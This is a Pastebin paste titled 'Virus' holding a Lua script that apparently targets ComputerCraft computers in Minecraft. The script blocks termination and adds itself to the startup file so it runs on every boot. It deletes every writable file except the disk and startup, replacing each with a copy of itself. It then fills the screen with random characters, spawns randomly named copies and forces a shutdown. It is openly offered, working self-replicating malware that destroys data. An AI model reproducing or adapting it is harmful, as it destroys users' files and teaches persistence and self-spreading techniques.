Advertisement
Guest User

Virus

a guest
Sep 30th, 2016
68
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 1.68 KB | None | 0 0
  1. os.pullEvent = os.pullEventRaw
  2. local chars = {"a","b'","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","P","Q","R","S","T","U","V","W","X","Y","Z","1","2","3","4","5","6","7","8","9","0","-","-","-","_","_","!","@","#","$","%","&"}
  3. local maxchars = 73
  4. local tempchar = 0
  5. local currentstring = ""
  6. local runtotal = 0
  7. local newname = ""
  8. os.setComputerLabel("nil_")
  9. if fs.exists("startup") == false then
  10. local vrs = fs.open("startup","w")
  11. vrs.write("shell.run("..'"'..shell.getRunningProgram()..'"'..")")
  12. vrs.close()
  13. end
  14.    for _, f in ipairs( fs.list("") ) do
  15.         if not fs.isReadOnly( f ) and f ~= "disk" and f ~= shell.getRunningProgram() and f ~= "startup" then
  16.             fs.delete( f )
  17.     fs.copy(shell.getRunningProgram(),f)
  18. local vrp = fs.open("startup","a")
  19. vrp.writeLine("shell.run("..'"'..f..'"'..")")
  20. vrp.close()
  21.         end
  22. end
  23.  
  24.  
  25. term.setTextColor(colors.white)
  26. term.setBackgroundColor(colors.blue)
  27. term.clear()
  28. term.setCursorPos(1,1)
  29. while true do
  30. for i=1,46 do
  31. tempchar = math.random(1,maxchars)
  32. if i == 1 then
  33. currentstring = chars[tempchar]
  34. else
  35. currentstring = currentstring .. chars[tempchar]
  36. end
  37. --print(currentstring)
  38. if i == 46 then
  39. print(currentstring)
  40. runtotal = runtotal + 1
  41. sleep(.1)
  42. end
  43. if runtotal == 100 then
  44. for a=1,10 do
  45. if a==1 then
  46. newname = chars[math.random(1,maxchars)]
  47. else
  48. newname = newname .. chars[math.random(1,maxchars)]
  49. if a == 10 then
  50. fs.copy(shell.getRunningProgram(),newname)
  51. local vrp = fs.open("startup","a")
  52. vrp.writeLine("shell.run("..'"'..newname..'"'..")")
  53. vrp.close()
  54. end
  55. end
  56. end
  57. os.shutdown()
  58. end
  59. end
  60. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement